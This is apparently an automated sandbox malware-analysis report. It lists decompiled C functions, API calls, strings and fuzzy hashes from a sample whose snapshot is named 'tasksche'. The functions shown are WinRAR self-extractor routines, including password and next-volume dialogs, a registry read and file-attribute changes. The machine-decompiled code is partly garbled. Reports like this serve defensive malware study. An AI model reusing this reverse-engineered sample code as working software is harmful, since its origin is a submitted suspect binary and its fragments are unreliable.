						 *_t38 =  *(_t103 - 4) | 0xffffffff;
						__eflags =  *_t38;
						_t63 = E00408C7D(0, _t103 - 0x1030);
					} else {
						_push(0);
						_push(0);
						_t63 = E00402C8B( *((intOrPtr*)(_t103 + 8)), _t96);
					}
				} else {
					E0040639F(0x50,  *((intOrPtr*)(_t103 + 8)) + 0x1e, _t101);
					_t63 = E004062BA(0x4335ac, 3);
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
				return _t63;
			}

0x00406d02
0x00406d07
0x00406d11
0x00406d18
0x00406d26
0x00406d4e
0x00406d4f
0x00406d2e
0x00406d3a
0x00406d41
0x00406d46
0x00406d46
0x00406d55
0x00406d56
0x00406d57
0x00406d6b
0x00406d78
0x00406d9a
0x00406d9d
0x00406dbd
0x00406dc8
0x00406dcd
0x00406ddb
0x00406dde
0x00406de4
0x00406de6
0x00406de8
0x00406de8
0x00406ded
0x00406ded
0x00406df8
0x00406e0c
0x00406e0f
0x00406e14
0x00406e16
0x00406e21
0x00406e22
0x00406e23
0x00406e28
0x00406e2a
0x00406e32
0x00406e32
0x00406e2a
0x00406e3d
0x00406e42
0x00406e46
0x00406e49
0x00406e4b
0x00406e4d
0x00406e54
0x00406e59
0x00406e5b
0x00406e78
0x00406e78
0x00406e5b
0x00406e85
0x00406e90
0x00406e93
0x00406e98
0x00406e98
0x00406e98
0x00406ea2
0x00406d9f
0x00406da2
0x00406da3
0x00406da4
0x00406da4
0x00406d7a
0x00406d84
0x00406d90
0x00406d90
0x00406ead
0x00406eb5

APIs

__EH_prolog.LIBCMT ref: 00406D07
_wcscpy.LIBCMT ref: 00406D3A

Part of subcall function 00410BC9: _wcslen.LIBCMT ref: 00410BCF
Part of subcall function 00410BC9: _wcsncat.LIBCMT ref: 00410BE8

SetFileTime.KERNEL32(?,?,?,?,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000), ref: 00406E78

Part of subcall function 0040908D: SetFileAttributesW.KERNEL32(00000000,00000000,7705F790,00000001,?,0040933D,00000000,?,?,0040941E,?,00000001,00000000,?,?), ref: 004090A8
Part of subcall function 0040908D: SetFileAttributesW.KERNEL32(?,00000000,00000000,?,00000800,?,0040933D,00000000,?,?,0040941E,?,00000001,00000000,?,?), ref: 004090D5

Strings

:, xrefs: 00406D70

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: File$Attributes$H_prologTime_wcscpy_wcslen_wcsncat
String ID: :
API String ID: 326910402-336475711
Opcode ID: cd9e8b47447b43b77653fc47ce9a19f3cc629bfb8a4baf9c9ecf38747b614ba2
Instruction ID: 6639f4f99703ce1112f5787d69d8c123706ab186ca62756c3ad703d048bc38cc
Opcode Fuzzy Hash: cd9e8b47447b43b77653fc47ce9a19f3cc629bfb8a4baf9c9ecf38747b614ba2
Instruction Fuzzy Hash: D0417F71905258AAEB20EB64CC55EEE737CAF04344F0040ABB556B71C2DB78AF94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D53E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040D53E(void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR** _a16) {
				void* _t12;
				void* _t17;
				void* _t21;
				void* _t24;
				void* _t27;
				void* _t29;
				struct HWND__* _t31;
				WCHAR** _t32;

				_t32 = _a16;
				_t31 = _a4;
				if(E004060EE(__edx, _t31, _a8, _a12, _t32, L"ASKNEXTVOL", 0, 0) != 0) {
					L14:
					__eflags = 1;
					return 1;
				}
				_t12 = _a8 - 0x110;
				if(_t12 == 0) {
					_push( *_t32);
					 *0x44cf2c = _t32;
					L13:
					SetDlgItemTextW(_t31, 0x65, ??);
					goto L14;
				}
				if(_t12 != 1) {
					L6:
					return 0;
				}
				_t17 = (_a12 & 0x0000ffff) - 1;
				if(_t17 == 0) {
					GetDlgItemTextW(_t31, 0x65,  *( *0x44cf2c), ( *0x44cf2c)[1]);
					_push(1);
					L10:
					EndDialog(_t31, ??);
					goto L14;
				}
				_t21 = _t17 - 1;
				if(_t21 == 0) {
					_push(0);
					goto L10;
				}
				if(_t21 == 0x64) {
					_t24 = E0040A5DB(__eflags,  *( *0x44cf2c));
					_t27 = E00405164(_t29, _t31, E0040C3BF(0x8e),  *( *0x44cf2c), _t24, 0);
					__eflags = _t27;
					if(_t27 == 0) {
						goto L14;
					}
					_push( *( *0x44cf2c));
					goto L13;
				}
				goto L6;
			}

0x0040d542
0x0040d546
0x0040d561
0x0040d5ee
0x0040d5f0
0x00000000
0x0040d5f0
0x0040d56a
0x0040d56f
0x0040d5dd
0x0040d5df
0x0040d5e5
0x0040d5e8
0x00000000
0x0040d5e8
0x0040d572
0x0040d583
0x00000000
0x0040d583
0x0040d578
0x0040d579
0x0040d5d3
0x0040d5d9
0x0040d5bd
0x0040d5be
0x00000000
0x0040d5be
0x0040d57b
0x0040d57c
0x0040d5bb
0x00000000
0x0040d5bb
0x0040d581
0x0040d590
0x0040d5a9
0x0040d5ae
0x0040d5b0
0x00000000
0x00000000
0x0040d5b7
0x00000000
0x0040d5b7
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D5BE
GetDlgItemTextW.USER32(?,00000065,?,?), ref: 0040D5D3
SetDlgItemTextW.USER32 ref: 0040D5E8

Strings

ASKNEXTVOL, xrefs: 0040D54D

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: ASKNEXTVOL
API String ID: 1770891597-3402441367
Opcode ID: a8a6f44b6775d0cd3294368f2a4b23b4347bfb04fbb05bfaf2c83a68a4392c99
Instruction ID: 7c41b1936654f57e10877f1e9afce92132798bffb5e44c1de30f76ec9c95968c
Opcode Fuzzy Hash: a8a6f44b6775d0cd3294368f2a4b23b4347bfb04fbb05bfaf2c83a68a4392c99
Instruction Fuzzy Hash: 23118135600104BBDB219FA49C45F663775EB0A718F044036FE01FA1E0D77AD825AB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041254D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041254D(intOrPtr __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v28;
				void* __ebx;
				void* __edi;
				intOrPtr _t25;
				signed int _t30;
				signed int _t31;
				intOrPtr _t35;
				signed int _t40;
				void* _t41;
				signed int _t42;
				signed int _t46;
				signed int _t47;
				unsigned int _t48;
				void* _t51;

				_v16 = __ecx;
				_t25 = E0041252C(__ecx);
				_t47 = 0;
				_v8 = 0;
				if(_a4 <= 0) {
					return _t25;
				}
				_push(_t35);
				_push(_t48);
				do {
					if(_v8 >= 0x20) {
						if(_t47 < _a4) {
							L8:
							E0041216A( &_v28);
							E0041C77F( &_v28, 0x42d504);
							goto L9;
						}
						L12:
						return _t25;
					}
					_t48 = _a4 - _t47;
					_t41 = 0x20;
					_t42 = _t41 - _v8;
					_t30 = _t48;
					_t31 = _t30 / _t42;
					_t46 = _t30 % _t42;
					_v12 = _t31;
					if(_t31 <= 0x400000) {
						_v12 = 0x400000;
					}
					while(_t48 >= _v12) {
						_t35 = E0041CF3E(_t35, _t46, _t47, _t48);
						if(_t35 != 0) {
							goto L9;
						}
						_t48 = _t48 - (_t48 >> 5);
					}
					goto L8;
					L9:
					E0041A820(_t47, _t35, 0, _t48);
					_t25 = _v16;
					_t40 = _v8 << 2;
					_t47 = _t47 + _t48;
					_t51 = _t51 + 0xc;
					_v8 = _v8 + 1;
					 *((intOrPtr*)(_t40 + _t25)) = _t35;
					 *((intOrPtr*)(_t40 + _t25 + 0x80)) = _t47;
				} while (_t47 < _a4);
				goto L12;
			}

0x00412554
0x00412557
0x0041255c
0x0041255e
0x00412564
0x004125f7
0x004125f7
0x0041256a
0x0041256b
0x0041256c
0x00412570
0x004125f1
0x004125ad
0x004125b0
0x004125be
0x00000000
0x004125be
0x004125f3
0x00000000
0x004125f4
0x00412577
0x00412579
0x0041257a
0x0041257f
0x00412581
0x00412581
0x00412588
0x0041258d
0x0041258f
0x0041258f
0x004125a8
0x0041259a
0x0041259f
0x00000000
0x00000000
0x004125a6
0x004125a6
0x00000000
0x004125c3
0x004125c7
0x004125cf
0x004125d2
0x004125d5
0x004125d7
0x004125da
0x004125dd
0x004125e0
0x004125e7
0x00000000

APIs

__CxxThrowException@8.LIBCMT ref: 004125BE
_memset.LIBCMT ref: 004125C7

Strings

, xrefs: 0041256C

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Exception@8Throw_memset
String ID:
API String ID: 3963884845-3916222277
Opcode ID: f121cb723b88151b8d7c29095ae3e5beb5fa647253e82d4155322dd225e1007f
Instruction ID: ba4e6bc0ef6041dd665025fb65f45a384477b48ee7e133f8ed84bbd0a598a512
Opcode Fuzzy Hash: f121cb723b88151b8d7c29095ae3e5beb5fa647253e82d4155322dd225e1007f
Instruction Fuzzy Hash: 60110671E01218BACB14EFA9CAD55DEB776FF54344F10406BE405E7241D6B85BD2CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0040D477 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040D477(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, intOrPtr _a8, signed short _a12, WCHAR* _a16) {
				short _v260;
				void* _t15;
				void* _t20;
				struct HWND__* _t33;

				_t33 = _a4;
				if(E004060EE(__edx, _t33, _a8, _a12, _a16, L"GETPASSWORD1", 0, 0) != 0) {
					L10:
					return 1;
				}
				_t15 = _a8 - 0x110;
				if(_t15 == 0) {
					SetDlgItemTextW(_t33, 0x66, _a16);
					goto L10;
				}
				if(_t15 != 1) {
					L5:
					return 0;
				}
				_t20 = (_a12 & 0x0000ffff) - 1;
				if(_t20 == 0) {
					GetDlgItemTextW(_t33, 0x65,  &_v260, 0x80);
					E0040D033(__ebx, 0x44ce20,  &_v260);
					E0040CFA3( &_v260, 0x80);
					_push(1);
					L7:
					EndDialog(_t33, ??);
					goto L10;
				}
				if(_t20 == 1) {
					_push(0);
					goto L7;
				}
				goto L5;
			}

0x0040d482
0x0040d49f
0x0040d50a
0x00000000
0x0040d50c
0x0040d4a4
0x0040d4a9
0x0040d504
0x00000000
0x0040d504
0x0040d4ac
0x0040d4b8
0x00000000
0x0040d4b8
0x0040d4b2
0x0040d4b3
0x0040d4d6
0x0040d4e8
0x0040d4f5
0x0040d4fa
0x0040d4bd
0x0040d4be
0x00000000
0x0040d4be
0x0040d4b6
0x0040d4bc
0x00000000
0x0040d4bc
0x00000000

APIs

EndDialog.USER32(?,00000001), ref: 0040D4BE
GetDlgItemTextW.USER32(?,00000065,?,00000080), ref: 0040D4D6
SetDlgItemTextW.USER32 ref: 0040D504

Strings

GETPASSWORD1, xrefs: 0040D489

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: ItemText$Dialog
String ID: GETPASSWORD1
API String ID: 1770891597-3292211884
Opcode ID: 2c39065e7e84a8441d2400259efe6a077f35be0b7a0eee454e8495a0c984ab02
Instruction ID: 3eed9e1ab7e5d8a1da33783b11a95132ac7616313df89bdc2d2bc64375715bf5
Opcode Fuzzy Hash: 2c39065e7e84a8441d2400259efe6a077f35be0b7a0eee454e8495a0c984ab02
Instruction Fuzzy Hash: 4F11CE329001187ADB219FA1AC44EFB3A6DEF59754F404036FD05B20D0C67CD96A96AA

Uniqueness

Uniqueness Score: -1.00%

Function 00410F29 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00410F29(long* __ecx, long _a4) {
				long _t11;
				void* _t14;
				long _t23;
				long* _t25;

				_t19 = __ecx;
				_t11 = _a4;
				_t23 = 0x20;
				_t25 = __ecx;
				 *__ecx = _t11;
				if(_t11 > _t23) {
					 *__ecx = _t23;
				}
				if( *_t25 == 0) {
					 *_t25 = 1;
				}
				_t25[0x21] = 0;
				if( *_t25 > _t23) {
					 *_t25 = _t23;
				}
				_t3 =  &(_t25[0x68]); // 0x1a0
				_t25[0x65] = 0;
				InitializeCriticalSection(_t3);
				_t25[0x66] = CreateSemaphoreW(0, 0, _t23, 0);
				_t14 = CreateEventW(0, 1, 1, 0);
				_t25[0x67] = _t14;
				if(_t25[0x66] == 0 || _t14 == 0) {
					_push(L"\nThread pool initialization failed.");
					_push(0x4335ac);
					E00406423(_t19);
					E00406371(0x4335ac, 2);
				}
				_t25[0x63] = 0;
				_t25[0x64] = 0;
				_t25[0x22] = 0;
				return _t25;
			}

0x00410f29
0x00410f29
0x00410f32
0x00410f33
0x00410f35
0x00410f39
0x00410f3b
0x00410f3b
0x00410f41
0x00410f43
0x00410f43
0x00410f49
0x00410f51
0x00410f53
0x00410f53
0x00410f55
0x00410f5c
0x00410f62
0x00410f78
0x00410f7e
0x00410f84
0x00410f90
0x00410f96
0x00410fa0
0x00410fa1
0x00410fac
0x00410fac
0x00410fb2
0x00410fb8
0x00410fbe
0x00410fc8

APIs

InitializeCriticalSection.KERNEL32(000001A0,?,000001B8,0044F590,004110EE,00000020,?,00409901,?,?,?,0040BB60,?,?,00000000,?), ref: 00410F62
CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F6C
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F7E

Strings

Thread pool initialization failed., xrefs: 00410F96

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 5d2de00027b14f6e07390935bc826641c20494178e34cc3b56ee4834533d8747
Instruction ID: 3f206ddc5264aa259e24750db78c3e6b08f6c9018291aa2998b68a3e9789e537
Opcode Fuzzy Hash: 5d2de00027b14f6e07390935bc826641c20494178e34cc3b56ee4834533d8747
Instruction Fuzzy Hash: FF115EB1600301AFD3305F659886BE7BBE8FB55315F60482FF6DAC6240D6B458C1CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB16 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DB16(void* __esi, intOrPtr _a4, intOrPtr _a8) {
				int _v8;
				void* _v12;
				int _v16;
				char _v4112;
				short _v8208;
				long _t22;
				signed int _t31;
				void* _t38;

				_t22 = E0041AAF0(0x200c);
				if( *0x441878 != 0) {
					E0040DA4F( &_v8208, _a4);
					_t22 = RegOpenKeyExW(0x80000001, L"Software\\WinRAR SFX", 0, 1,  &_v12);
					if(_t22 == 0) {
						_v8 = 0x1000;
						if(RegQueryValueExW(_v12,  &_v8208, 0,  &_v16,  &_v4112,  &_v8) == 0) {
							_v8 = _v8 >> 1;
							_t31 = 0x7ff;
							if(_v8 < 0x7ff) {
								_t31 = _v8;
							}
							 *((short*)(_t38 + _t31 * 2 - 0x100c)) = 0;
							E00410B9C(_a4,  &_v4112, _a8);
						}
						return RegCloseKey(_v12);
					}
				}
				return _t22;
			}

0x0040db1e
0x0040db2a
0x0040db3a
0x0040db51
0x0040db5a
0x0040db77
0x0040db86
0x0040db88
0x0040db8b
0x0040db93
0x0040db95
0x0040db95
0x0040db9d
0x0040dbaf
0x0040dbaf
0x00000000
0x0040dbb7
0x0040db5a
0x0040dbbe

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegOpenKeyExW.ADVAPI32(80000001,Software\WinRAR SFX,00000000,00000001,?,?), ref: 0040DB51
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?), ref: 0040DB7E
RegCloseKey.ADVAPI32(?), ref: 0040DBB7

Strings

Software\WinRAR SFX, xrefs: 0040DB47

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: CloseOpenQueryValue_wcscpy
String ID: Software\WinRAR SFX
API String ID: 2005349754-754673328
Opcode ID: 8b96dfef8680bb4deb32b038c9f2afc3bf903965c11840eabbdb26942158482e
Instruction ID: 4c76dbbd45d9bc8f01a1638326186229006e98cd85c276784524804615dea21e
Opcode Fuzzy Hash: 8b96dfef8680bb4deb32b038c9f2afc3bf903965c11840eabbdb26942158482e
Instruction Fuzzy Hash: 29110635A0020CEBEF219F90DD45FDE7BB8EF04345F5040B6B905A2191D7B8AA94DB69

Uniqueness

Uniqueness Score: -1.00%

Function 004050E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 004050F5
SHBrowseForFolderW.SHELL32(?), ref: 00405130

Strings

A, xrefs: 00405129

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: BrowseFolderMalloc
String ID: A
API String ID: 3812826013-3554254475
Opcode ID: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction ID: 7c691baa3b27f7502734ebd35b11d26621297010b335108cc4fc530f71bfb90e
Opcode Fuzzy Hash: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction Fuzzy Hash: F0010572900619EBDB11CFA4D909BEF7BF8EF49311F204466E805EB240D779DA058FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E6CF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E6CF(long _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				long _v0;
				WCHAR* _t16;
				int _t19;
				_Unknown_base(*)()* _t25;

				 *0x441828 = _a12;
				 *0x44182c = _a16;
				 *0x441824 = _a20;
				if( *0x441830 == 0) {
					if( *0x441831 == 0) {
						_t25 = E0040DE5E;
						_t16 = L"REPLACEFILEDLG";
						while(1) {
							_t19 = DialogBoxParamW( *0x4335a4, _t16,  *0x441844, _t25, _a4);
							if(_t19 != 4) {
								break;
							}
							if(DialogBoxParamW( *0x4335a8, L"RENAMEDLG",  *0x441840, E0040D3EE, _v0) != 0) {
								break;
							}
						}
						return _t19;
					}
					return 1;
				}
				return 0;
			}

0x0040e6da
0x0040e6e3
0x0040e6ec
0x0040e6f1
0x0040e6fe
0x0040e70f
0x0040e714
0x0040e73b
0x0040e74f
0x0040e754
0x00000000
0x00000000
0x0040e739
0x00000000
0x00000000
0x0040e739
0x00000000
0x0040e75b
0x00000000
0x0040e702
0x00000000

Strings

REPLACEFILEDLG, xrefs: 0040E714, 0040E746
RENAMEDLG, xrefs: 0040E72A

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 9dc2c4e2a994375845b1e54b9a4a57574d7f38f83bee2a11927b5ffac3eaf025
Instruction ID: 0892b1485419df81b4422e2148389c4265d0283c5dc75372e36aae0ff2247616
Opcode Fuzzy Hash: 9dc2c4e2a994375845b1e54b9a4a57574d7f38f83bee2a11927b5ffac3eaf025
Instruction Fuzzy Hash: AF017576604204BFC712AB55EC44A167BD5E74A751F040837F901E32B0D3764865DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0041E132 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 28%

			E0041E132(void* __ebx, void* __ecx, void* __edx, intOrPtr* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				void* __ebp;
				void* _t20;
				void* _t22;
				void* _t23;
				void* _t25;
				intOrPtr* _t26;
				void* _t27;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t23 = __ecx;
				_t22 = __ebx;
				_t30 = _a20;
				if(_a20 != 0) {
					_push(_a20);
					_push(__ebx);
					_push(__esi);
					_push(_a4);
					E0041E0A0(__ebx, __edi, __esi, _t30);
					_t28 = _t28 + 0x10;
				}
				_t31 = _a28;
				_push(_a4);
				if(_a28 != 0) {
					_push(_a28);
				} else {
					_push(_t27);
				}
				E0041A12E(_t23);
				_push( *_t26);
				_push(_a16);
				_push(_a12);
				_push(_t27);
				E0041DB1D(_t22, _t25, _t26, _t27, _t31);
				_push(0x100);
				_push(_a24);
				_push(_a16);
				 *((intOrPtr*)(_t27 + 8)) =  *((intOrPtr*)(_t26 + 4)) + 1;
				_push(_a8);
				_push(_t27);
				_push(_a4);
				_t20 = E0041DD85(_t22,  *((intOrPtr*)(_t22 + 0xc)), _t25, _t26, _t27, _t31);
				if(_t20 != 0) {
					E0041A0F5(_t20, _t27);
					return _t20;
				}
				return _t20;
			}

0x0041e132
0x0041e132
0x0041e132
0x0041e132
0x0041e132
0x0041e137
0x0041e13b
0x0041e13d
0x0041e140
0x0041e141
0x0041e142
0x0041e145
0x0041e14a
0x0041e14a
0x0041e14d
0x0041e151
0x0041e154
0x0041e159
0x0041e156
0x0041e156
0x0041e156
0x0041e15c
0x0041e161
0x0041e163
0x0041e166
0x0041e169
0x0041e16a
0x0041e172
0x0041e177
0x0041e17b
0x0041e17e
0x0041e181
0x0041e187
0x0041e188
0x0041e18b
0x0041e195
0x0041e199
0x00000000
0x0041e199
0x0041e19f

APIs

___BuildCatchObject.LIBCMT ref: 0041E145

Part of subcall function 0041E0A0: ___BuildCatchObjectHelper.LIBCMT ref: 0041E0D6

_UnwindNestedFrames.LIBCMT ref: 0041E15C
___FrameUnwindToState.LIBCMT ref: 0041E16A

Strings

csm, xrefs: 0041E141, 0041E156, 0041E169, 0041E187, 0041E197

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction ID: 59b9ad28f981bea14fd5052789bebdc6dccf333051ec123e92fb5a6599f75b08
Opcode Fuzzy Hash: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction Fuzzy Hash: 14012479401109BBDF126E52CC45EEB3F6AEF09398F044016FD1815261DB3AA8B1EBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C0F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040C0F6(intOrPtr* __ecx) {
				char _v2052;
				struct HINSTANCE__* _t5;
				struct HRSRC__* _t6;
				signed int _t10;
				char _t12;
				intOrPtr* _t18;

				_t18 = __ecx;
				_t5 = GetModuleHandleW(0);
				_t19 = L"RTL";
				_t6 = FindResourceW(_t5, L"RTL", 5);
				if(_t6 == 0) {
					E0040BF1D(_t18, L"LTR",  &_v2052, 0x400, 1, L"LTR");
					_t10 = E0041AA21( &_v2052, _t19);
					asm("sbb al, al");
					_t12 =  ~_t10 + 1;
					 *((char*)(_t18 + 0x10)) = _t12;
					return _t12;
				}
				 *((char*)(_t18 + 0x10)) = 1;
				return _t6;
			}

0x0040c103
0x0040c105
0x0040c10d
0x0040c114
0x0040c11c
0x0040c13b
0x0040c148
0x0040c14f
0x0040c152
0x0040c155
0x00000000
0x0040c155
0x0040c11e
0x00000000

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0040C105
